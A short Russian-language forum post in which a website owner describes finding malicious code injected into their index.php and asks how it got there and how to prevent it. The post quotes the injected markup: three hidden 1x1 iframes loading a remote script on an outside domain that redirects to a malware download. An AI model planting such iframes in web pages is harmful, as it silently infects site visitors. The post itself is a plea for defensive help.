Была проблема:

На главной странице сайта [Только зарегистрированные пользователи могут видеть ссылки. ] размещен код, вызывающий
загрузку и запуск вируса с другого ресурса. Вот этот код:

<iframe src="ltraffic.biz/resource.php?id=158&user=xpass" width=1 height=1>
</iframe><iframe src="ltraffic.biz/resource.php?id=158&user=xpass" width=1 height=1>
</iframe><iframe src="ltraffic.biz/resource.php?id=158&user=xpass" width=1 height=1>
</iframe>

С ltraffic.biz идет редирект на djhnxd..com/gr/in.php, откуда и
происходит загрузка.

Этот код был помещен в index.php. Как это делается? И как можно предотвратить дальнейшие нападки?